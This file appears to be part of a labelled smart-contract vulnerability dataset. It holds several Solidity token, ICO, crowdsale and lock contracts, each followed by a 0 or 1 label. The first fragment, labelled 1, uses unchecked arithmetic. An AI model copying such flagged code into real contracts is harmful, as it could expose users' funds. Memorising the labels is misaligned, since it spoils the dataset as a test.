function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
return true;
}
} | 1 |
pragma solidity ^ 0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns(uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns(uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) public constant returns(uint256);
function transfer(address _to, uint256 _value) public returns(bool);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool);
function approve(address _spender, uint256 _value) public returns(bool);
function allowance(address _owner, address _spender) public constant returns(uint256);
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract CretToken is ERC20 {
using SafeMath for uint256;
string public name = "CRET TOKEN";
string public symbol = "CRET";
uint256 public decimals = 18;
uint256 public totalSupply = 0;
uint256 public riskTokens;
uint256 public bountyTokens;
uint256 public advisersTokens;
uint256 public reserveTokens;
uint256 public constant reserveTokensLimit = 5000000 * 1e18;
uint256 public lastBountyStatus;
address public teamOneYearFrozen;
address public teamHalfYearFrozen;
uint256 public timeStamp;
address public owner;
event Burn(address indexed from, uint256 value);
bool public tokensAreFrozen = true;
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor (address _owner, address _team, address _team2) public {
owner = _owner;
timeStamp = now;
teamOneYearFrozen = _team;
teamHalfYearFrozen = _team2;
}
function mintTokens(address _investor, uint256 _value) external onlyOwner {
require(_value > 0);
balances[_investor] = balances[_investor].add(_value);
totalSupply = totalSupply.add(_value);
emit Transfer(0x0, _investor, _value);
}
function mintRiskTokens(address _investor, uint256 _value) external onlyOwner {
balances[_investor] = balances[_investor].add(_value);
totalSupply = totalSupply.add(_value);
riskTokens = riskTokens.add(_value);
emit Transfer(0x0, _investor, _value);
}
function mintReserveTokens(address _investor, uint256 _value) external onlyOwner {
require(reserveTokens.add(_value) <= reserveTokensLimit);
balances[_investor] = balances[_investor].add(_value);
totalSupply = totalSupply.add(_value);
reserveTokens = reserveTokens.add(_value);
emit Transfer(0x0, _investor, _value);
}
function mintAdvisersTokens(address _investor, uint256 _value) external onlyOwner {
balances[_investor] = balances[_investor].add(_value);
totalSupply = totalSupply.add(_value);
advisersTokens = advisersTokens.add(_value);
emit Transfer(0x0, _investor, _value);
}
function mintBountyTokens(address[] _dests, uint256 _value) external onlyOwner {
lastBountyStatus = 0;
for (uint256 i = 0;i < _dests.length; i++) {
address tmp = _dests[i];
balances[tmp] = balances[tmp].add(_value);
totalSupply = totalSupply.add(_value);
bountyTokens = bountyTokens.add(_value);
lastBountyStatus++;
emit Transfer(0x0, tmp, _value);
}
}
function defrostTokens() external onlyOwner {
tokensAreFrozen = false;
}
function frostTokens() external onlyOwner {
tokensAreFrozen = true;
}
function burnTokens(address _investor, uint256 _value) external onlyOwner {
require(balances[_investor] > 0);
balances[_investor] = balances[_investor].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(_investor, _value);
}
function balanceOf(address _owner) public constant returns(uint256) {
return balances[_owner];
}
function transfer(address _to, uint256 _amount) public returns(bool) {
require(!tokensAreFrozen);
if(now < (timeStamp + 425 days)){
require(msg.sender != teamOneYearFrozen);
}
if(now < (timeStamp + 240 days)){
require(msg.sender != teamHalfYearFrozen);
}
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) public returns(bool) {
require(!tokensAreFrozen);
require(_amount <= allowed[_from][msg.sender]);
require(_amount <= balances[_from]);
if(now < (timeStamp + 425 days)){
require(msg.sender != teamOneYearFrozen);
require(_from != teamOneYearFrozen);
}
if(now < (timeStamp + 240 days)){
require(msg.sender != teamHalfYearFrozen);
require(_from != teamHalfYearFrozen);
}
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _amount) public returns(bool) {
require((_amount == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
function allowance(address _owner, address _spender) public constant returns(uint256) {
return allowed[_owner][_spender];
}
}
contract CretICO {
using SafeMath for uint256;
address public TeamFund;
address public TeamFund2;
address public Companion1;
address public Companion2;
address public Manager;
address internal addressCompanion1;
address internal addressCompanion2;
CretToken public CRET;
constructor (
address _TeamFund,
address _TeamFund2,
address _Companion1,
address _Companion2,
address _Manager
)
public {
TeamFund = _TeamFund;
TeamFund2 = _TeamFund2;
Manager = _Manager;
Companion1 = _Companion1;
Companion2 = _Companion2;
statusICO = StatusICO.Created;
CRET = new CretToken(this, _TeamFund, _TeamFund2);
}
uint256 public Rate_Eth = 700;
uint256 public Tokens_Per_Dollar = 10;
uint256 public Token_Price = Tokens_Per_Dollar.mul(Rate_Eth);
uint256 constant teamPart = 75;
uint256 constant advisersPart = 30;
uint256 constant riskPart = 10;
uint256 constant airdropPart = 10;
uint256 constant SOFT_CAP = 30000000 * 1e18;
uint256 constant HARD_CAP = 450000000 * 1e18;
uint256 internal constant maxDeposit = 5000000 * 1e18;
uint256 internal constant bonusRange1 = 30000000 * 1e18;
uint256 internal constant bonusRange2 = 100000000 * 1e18;
uint256 internal constant bonusRange3 = 200000000 * 1e18;
uint256 internal constant bonusRange4 = 300000000 * 1e18;
uint256 public soldTotal;
bool public canIBuy = false;
bool public canIWithdraw = false;
enum StatusICO {
Created,
PreIco,
PreIcoFinished,
Ico,
IcoFinished
}
StatusICO statusICO;
mapping(address => uint256) public icoInvestments;
mapping(address => bool) public returnStatus;
mapping(address => uint256) public tokensIco;
mapping(address => uint256) public tokensIcoInOtherCrypto;
mapping(address => uint256) public pureBalance;
mapping(address => bool) public kyc;
event LogStartPreIco();
event LogFinishPreICO();
event LogStartIco();
event LogFinishICO();
event LogBuyForInvestor(address investor, uint256 value);
event LogReturnEth(address investor, uint256 eth);
event LogReturnOtherCrypto(address investor);
modifier managerOnly {
require(msg.sender == Manager);
_;
}
modifier companionsOnly {
require(msg.sender == Companion1 || msg.sender == Companion2);
_;
}
function passKYC(address _investor) external managerOnly {
kyc[_investor] = true;
}
function giveRiskToken(address _investor, uint256 _value) external managerOnly {
require(_value > 0);
uint256 rt = CRET.riskTokens();
uint256 decvalue = _value.mul(1 ether);
require(rt.add(decvalue) <= soldTotal.div(1000).mul(riskPart));
CRET.mintRiskTokens(_investor, decvalue);
}
function giveAdvisers(address _investor, uint256 _value) external managerOnly {
require(_value > 0);
uint256 at = CRET.advisersTokens();
uint256 decvalue = _value.mul(1 ether);
require(at.add(decvalue) <= soldTotal.div(1000).mul(advisersPart));
CRET.mintAdvisersTokens(_investor, decvalue);
}
function giveReserveFund(address _investor, uint256 _value) external managerOnly {
require(_value > 0);
uint256 decvalue = _value.mul(1 ether);
CRET.mintReserveTokens(_investor, decvalue);
}
function giveBounty(address[] dests, uint256 _value) external managerOnly {
require(_value > 0);
uint256 bt = CRET.bountyTokens();
uint256 decvalue = _value.mul(1 ether);
uint256 wantToMint = dests.length.mul(decvalue);
require(bt.add(wantToMint) <= soldTotal.div(1000).mul(airdropPart));
CRET.mintBountyTokens(dests, decvalue);
}
function pureBalance(address _owner) public constant returns(uint256) {
return pureBalance[_owner];
}
function currentStage() public view returns (string) {
if(statusICO == StatusICO.Created){return "Created";}
else if(statusICO == StatusICO.PreIco){return "PreIco";}
else if(statusICO == StatusICO.PreIcoFinished){return "PreIcoFinished";}
else if(statusICO == StatusICO.Ico){return "Ico";}
else if(statusICO == StatusICO.IcoFinished){return "IcoFinished";}
}
function setRate(uint256 _RateEth) external managerOnly {
Rate_Eth = _RateEth;
Token_Price = Tokens_Per_Dollar.mul(Rate_Eth);
}
function startPreIco() external managerOnly {
require(statusICO == StatusICO.Created);
statusICO = StatusICO.PreIco;
emit LogStartPreIco();
}
function finishPreIco() external managerOnly {
require(statusICO == StatusICO.PreIco);
statusICO = StatusICO.PreIcoFinished;
emit LogFinishPreICO();
}
function setIco() external managerOnly {
require(statusICO == StatusICO.PreIcoFinished);
statusICO = StatusICO.Ico;
canIBuy = true;
emit LogStartIco();
}
function finishIco() external managerOnly {
require(statusICO == StatusICO.Ico);
uint256 teamTokens = soldTotal.div(1000).mul(teamPart);
CRET.mintTokens(TeamFund, teamTokens);
CRET.mintTokens(TeamFund2, teamTokens);
statusICO = StatusICO.IcoFinished;
canIBuy = false;
if(soldTotal < SOFT_CAP){canIWithdraw = true;}
emit LogFinishICO();
}
function enableTokensTransfer() external managerOnly {
CRET.defrostTokens();
}
function disableTokensTransfer() external managerOnly {
require(statusICO != StatusICO.IcoFinished);
CRET.frostTokens();
}
function() external payable {
require(canIBuy);
require(kyc[msg.sender]);
require(msg.value > 0);
require(msg.value.mul(Token_Price) <= maxDeposit);
require(pureBalance[msg.sender].add(msg.value.mul(Token_Price)) <= maxDeposit);
createTokens(msg.sender, msg.value.mul(Token_Price), msg.value);
}
function buyToken() external payable {
require(canIBuy);
require(kyc[msg.sender]);
require(msg.value > 0);
require(msg.value.mul(Token_Price) <= maxDeposit);
require(pureBalance[msg.sender].add(msg.value.mul(Token_Price)) <= maxDeposit);
createTokens(msg.sender, msg.value.mul(Token_Price), msg.value);
}
function buyPreIco() external payable {
require(msg.value.mul(Token_Price) <= maxDeposit);
require(kyc[msg.sender]);
require(statusICO == StatusICO.PreIco);
require(pureBalance[msg.sender].add(msg.value.mul(Token_Price)) <= maxDeposit);
createTokens(msg.sender, msg.value.mul(Token_Price), msg.value);
}
function buyForInvestor(address _investor, uint256 _value) external managerOnly {
uint256 decvalue = _value.mul(1 ether);
require(_value > 0);
require(kyc[_investor]);
require(pureBalance[_investor].add(decvalue) <= maxDeposit);
require(decvalue <= maxDeposit);
require(statusICO != StatusICO.IcoFinished);
require(statusICO != StatusICO.PreIcoFinished);
require(statusICO != StatusICO.Created);
require(soldTotal.add(decvalue) <= HARD_CAP);
uint256 bonus = getBonus(decvalue);
uint256 total = decvalue.add(bonus);
tokensIcoInOtherCrypto[_investor] = tokensIcoInOtherCrypto[_investor].add(total);
soldTotal = soldTotal.add(decvalue);
pureBalance[_investor] = pureBalance[_investor].add(decvalue);
CRET.mintTokens(_investor, total);
emit LogBuyForInvestor(_investor, _value);
}
function createTokens(address _investor, uint256 _value, uint256 _ethValue) internal {
require(_value > 0);
require(soldTotal.add(_value) <= HARD_CAP);
uint256 bonus = getBonus(_value);
uint256 total = _value.add(bonus);
tokensIco[_investor] = tokensIco[_investor].add(total);
icoInvestments[_investor] = icoInvestments[_investor].add(_ethValue);
soldTotal = soldTotal.add(_value);
pureBalance[_investor] = pureBalance[_investor].add(_value);
CRET.mintTokens(_investor, total);
}
function getBonus(uint256 _value) public view returns(uint256) {
uint256 bonus = 0;
if (soldTotal <= bonusRange1) {
if(soldTotal.add(_value) <= bonusRange1){
bonus = _value.mul(500).div(1000);
} else {
uint256 part1 = (soldTotal.add(_value)).sub(bonusRange1);
uint256 part2 = _value.sub(part1);
uint256 bonusPart1 = part1.mul(300).div(1000);
uint256 bonusPart2 = part2.mul(500).div(1000);
bonus = bonusPart1.add(bonusPart2);
}
} else if (soldTotal > bonusRange1 && soldTotal <= bonusRange2) {
if(soldTotal.add(_value) <= bonusRange2){
bonus = _value.mul(300).div(1000);
} else {
part1 = (soldTotal.add(_value)).sub(bonusRange2);
part2 = _value.sub(part1);
bonusPart1 = part1.mul(200).div(1000);
bonusPart2 = part2.mul(300).div(1000);
bonus = bonusPart1.add(bonusPart2);
}
} else if (soldTotal > bonusRange2 && soldTotal <= bonusRange3) {
if(soldTotal.add(_value) <= bonusRange3){
bonus = _value.mul(200).div(1000);
} else {
part1 = (soldTotal.add(_value)).sub(bonusRange3);
part2 = _value.sub(part1);
bonusPart1 = part1.mul(100).div(1000);
bonusPart2 = part2.mul(200).div(1000);
bonus = bonusPart1.add(bonusPart2);
}
} else if (soldTotal > bonusRange3 && soldTotal <= bonusRange4) {
if(soldTotal.add(_value) <= bonusRange4){
bonus = _value.mul(100).div(1000);
} else {
part1 = (soldTotal.add(_value)).sub(bonusRange4);
part2 = _value.sub(part1);
bonusPart1 = 0;
bonusPart2 = part2.mul(100).div(1000);
bonus = bonusPart1.add(bonusPart2);
}
}
return bonus;
}
function returnEther() public {
require(canIWithdraw);
require(!returnStatus[msg.sender]);
require(icoInvestments[msg.sender] > 0);
uint256 eth = 0;
uint256 tokens = 0;
eth = icoInvestments[msg.sender];
tokens = tokensIco[msg.sender];
icoInvestments[msg.sender] = 0;
tokensIco[msg.sender] = 0;
pureBalance[msg.sender] = 0;
returnStatus[msg.sender] = true;
CRET.burnTokens(msg.sender, tokens);
msg.sender.transfer(eth);
emit LogReturnEth(msg.sender, eth);
}
function returnOtherCrypto(address _investor)external managerOnly {
require(canIWithdraw);
require(tokensIcoInOtherCrypto[_investor] > 0);
uint256 tokens = 0;
tokens = tokensIcoInOtherCrypto[_investor];
tokensIcoInOtherCrypto[_investor] = 0;
pureBalance[_investor] = 0;
CRET.burnTokens(_investor, tokens);
emit LogReturnOtherCrypto(_investor);
}
function consensusAddress(address _investor) external companionsOnly {
if(msg.sender == Companion1) {
addressCompanion1 = _investor;
} else {
addressCompanion2 = _investor;
}
}
function takeInvestments() external companionsOnly {
require(addressCompanion1 != 0x0 && addressCompanion2 != 0x0);
require(addressCompanion1 == addressCompanion2);
require(soldTotal >= SOFT_CAP);
addressCompanion1.transfer(address(this).balance);
CRET.defrostTokens();
}
} | 0 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract token {
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract lockEtherPay is Ownable {
using SafeMath for uint256;
token token_reward;
address public beneficiary;
bool public isLocked = false;
bool public isReleased = false;
uint256 public start_time;
uint256 public end_time;
uint256 public fifty_two_weeks = 30067200;
event TokenReleased(address beneficiary, uint256 token_amount);
constructor() public{
token_reward = token(0xAa1ae5e57dc05981D83eC7FcA0b3c7ee2565B7D6);
beneficiary = 0x5F9B5E3A30902B49f5904C72979c0dA2F98E5f2e;
}
function tokenBalance() constant public returns (uint256){
return token_reward.balanceOf(this);
}
function lock() public onlyOwner returns (bool){
require(!isLocked);
require(tokenBalance() > 0);
start_time = now;
end_time = start_time.add(fifty_two_weeks);
isLocked = true;
}
function lockOver() constant public returns (bool){
uint256 current_time = now;
return current_time > end_time;
}
function release() onlyOwner public{
require(isLocked);
require(!isReleased);
require(lockOver());
uint256 token_amount = tokenBalance();
token_reward.transfer( beneficiary, token_amount);
emit TokenReleased(beneficiary, token_amount);
isReleased = true;
}
} | 0 |
pragma solidity ^0.4.14;
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function transfer(address to, uint tokens) public returns (bool success);
}
contract FLC {
function create(uint units) public;
}
contract WhiteListAccess {
function WhiteListAccess() public {
owner = msg.sender;
whitelist[owner] = true;
whitelist[address(this)] = true;
}
address public owner;
mapping (address => bool) whitelist;
modifier onlyBy(address who) { require(msg.sender == who); _; }
modifier onlyOwner {require(msg.sender == owner); _;}
modifier onlyWhitelisted {require(whitelist[msg.sender]); _;}
function addToWhiteList(address trusted) public onlyOwner() {
whitelist[trusted] = true;
}
function removeFromWhiteList(address untrusted) public onlyOwner() {
whitelist[untrusted] = false;
}
}
contract NRB_Common is WhiteListAccess {
string public name;
bool _init;
function NRB_Common() public { ETH_address = 0x1; }
address public ETH_address;
address public FLC_address;
address public NRB_address;
function init(address _main, address _flc) public {
require(!_init);
FLC_address = _flc;
NRB_address = _main;
whitelist[NRB_address] = true;
_init = true;
}
event Debug(string, bool);
event Debug(string, uint);
event Debug(string, uint, uint);
event Debug(string, uint, uint, uint);
event Debug(string, uint, uint, uint, uint);
event Debug(string, address);
event Debug(string, address, address);
event Debug(string, address, address, address);
}
contract NRB_Tokens is NRB_Common {
mapping(address => uint) raisedAmount;
mapping(address => Token) public tokens;
mapping(uint => address) public tokenlist;
uint public tokenlenth;
struct Token {
bool registered;
bool validated;
uint index;
uint decimals;
uint nextRecord;
string name;
string symbol;
address addrs;
}
function NRB_Tokens() public {
name = "NRB_Tokens";
tokenlenth = 1;
registerAndValidateToken(ETH_address, "Ethereum", "ETH", 18, 7812500000000000);
}
function getTokenListLength() constant public returns (uint) {
return tokenlenth-1;
}
function getTokenByIndex(uint _index) constant public returns (bool, uint, uint, uint, string, string, address) {
return getTokenByAddress(tokenlist[_index]);
}
function getTokenByAddress(address _token) constant public returns (bool, uint, uint, uint, string, string, address) {
Token memory _t = tokens[_token];
return (_t.validated, _t.index, _t.decimals, _t.nextRecord, _t.name, _t.symbol, _t.addrs);
}
function getTokenAddressByIndex(uint _index) constant public returns (address) {
return tokens[tokenlist[_index]].addrs;
}
function isTokenRegistered(address _token) constant public returns (bool) {
return tokens[_token].registered;
}
function registerTokenPayment(address _token, uint _value) public onlyWhitelisted() {
raisedAmount[_token] = raisedAmount[_token] + _value;
}
function registerAndValidateToken(address _token, string _name, string _symbol, uint _decimals, uint _nextRecord) public onlyOwner() {
registerToken(_token, _name, _symbol, _decimals, _nextRecord);
tokens[_token].validated = true;
}
function registerToken(address _token, string _name, string _symbol, uint _decimals, uint _nextRecord) public onlyWhitelisted() {
require(!tokens[_token].validated);
if (_token != ETH_address) {
require(ERC20Interface(_token).totalSupply() > 0);
require(ERC20Interface(_token).balanceOf(address(this)) == 0);
}
tokens[_token].validated = false;
tokens[_token].registered = true;
tokens[_token].addrs = _token;
tokens[_token].name = _name;
tokens[_token].symbol = _symbol;
tokens[_token].decimals = _decimals;
tokens[_token].index = tokenlenth;
tokens[_token].nextRecord = _nextRecord;
tokenlist[tokenlenth] = _token;
tokenlenth++;
}
function validateToken(address _token, bool _valid) public onlyOwner() {
tokens[_token].validated = _valid;
}
function sendFLC(address user, address token, uint totalpaid) public onlyWhitelisted() returns (uint) {
uint flc = 0;
uint next = 0;
(flc, next) = calculateFLCCore(token, totalpaid);
if (flc > 0) {
tokens[token].nextRecord = next;
FLC(FLC_address).create(flc);
ERC20Interface(FLC_address).transfer(user, flc);
}
return flc;
}
function calculateFLC(address token, uint totalpaid) constant public returns (uint) {
uint flc = 0;
uint next = 0;
(flc, next) = calculateFLCCore(token, totalpaid);
return flc;
}
function calculateFLCCore(address token, uint totalpaid) constant public returns (uint, uint) {
uint next = tokens[token].nextRecord;
uint flc = 0;
while (next <= totalpaid) {
next = next * 2;
flc++;
}
return (flc, next);
}
function _withdrawal(address _token) public {
uint _balance = ERC20Interface(_token).balanceOf(address(this));
if (_balance > 0) {
ERC20Interface(_token).transfer(owner, _balance);
}
}
function () public payable {
revert();
}
} | 0 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Distributable {
using SafeMath for uint256;
bool public distributed;
address[] public partners = [
0xb68342f2f4dd35d93b88081b03a245f64331c95c,
0x16CCc1e68D2165fb411cE5dae3556f823249233e,
0x8E176EDA10b41FA072464C29Eb10CfbbF4adCd05,
0x7c387c57f055993c857067A0feF6E81884656Cb0,
0x4F21c073A9B8C067818113829053b60A6f45a817,
0xcB4b6B7c4a72754dEb99bB72F1274129D9C0A109,
0x7BF84E0244c05A11c57984e8dF7CC6481b8f4258,
0x20D2F4Be237F4320386AaaefD42f68495C6A3E81,
0x12BEA633B83aA15EfF99F68C2E7e14f2709802A9,
0xC1a29a165faD532520204B480D519686B8CB845B,
0xf5f5Eb6Ab1411935b321042Fa02a433FcbD029AC,
0xaBff978f03d5ca81B089C5A2Fc321fB8152DC8f1];
address[] public partnerFixedAmount = [
0xA482D998DA4d361A6511c6847562234077F09748,
0xFa92F80f8B9148aDFBacC66aA7bbE6e9F0a0CD0e
];
mapping(address => uint256) public percentages;
mapping(address => uint256) public fixedAmounts;
constructor() public{
percentages[0xb68342f2f4dd35d93b88081b03a245f64331c95c] = 40;
percentages[0x16CCc1e68D2165fb411cE5dae3556f823249233e] = 5;
percentages[0x8E176EDA10b41FA072464C29Eb10CfbbF4adCd05] = 100;
percentages[0x7c387c57f055993c857067A0feF6E81884656Cb0] = 50;
percentages[0x4F21c073A9B8C067818113829053b60A6f45a817] = 10;
percentages[0xcB4b6B7c4a72754dEb99bB72F1274129D9C0A109] = 20;
percentages[0x7BF84E0244c05A11c57984e8dF7CC6481b8f4258] = 20;
percentages[0x20D2F4Be237F4320386AaaefD42f68495C6A3E81] = 20;
percentages[0x12BEA633B83aA15EfF99F68C2E7e14f2709802A9] = 20;
percentages[0xC1a29a165faD532520204B480D519686B8CB845B] = 30;
percentages[0xf5f5Eb6Ab1411935b321042Fa02a433FcbD029AC] = 30;
percentages[0xaBff978f03d5ca81B089C5A2Fc321fB8152DC8f1] = 52;
fixedAmounts[0xA482D998DA4d361A6511c6847562234077F09748] = 886228 * 10**16;
fixedAmounts[0xFa92F80f8B9148aDFBacC66aA7bbE6e9F0a0CD0e] = 697 ether;
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract WhitelistedCrowdsale is Crowdsale, Ownable {
mapping(address => bool) public whitelist;
modifier isWhitelisted(address _beneficiary) {
require(whitelist[_beneficiary]);
_;
}
function addToWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = true;
}
function addManyToWhitelist(address[] _beneficiaries) external onlyOwner {
for (uint256 i = 0; i < _beneficiaries.length; i++) {
whitelist[_beneficiaries[i]] = true;
}
}
function removeFromWhitelist(address _beneficiary) external onlyOwner {
whitelist[_beneficiary] = false;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
isWhitelisted(_beneficiary)
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract SolidToken is MintableToken {
string public constant name = "SolidToken";
string public constant symbol = "SOLID";
uint8 public constant decimals = 18;
uint256 constant private DECIMAL_PLACES = 10 ** 18;
uint256 constant SUPPLY_CAP = 4000000 * DECIMAL_PLACES;
bool public transfersEnabled = false;
uint256 public transferEnablingDate;
function setTransferEnablingDate(uint256 date) public onlyOwner returns(bool success) {
transferEnablingDate = date;
return true;
}
function enableTransfer() public {
require(transferEnablingDate != 0 && now >= transferEnablingDate);
transfersEnabled = true;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= SUPPLY_CAP);
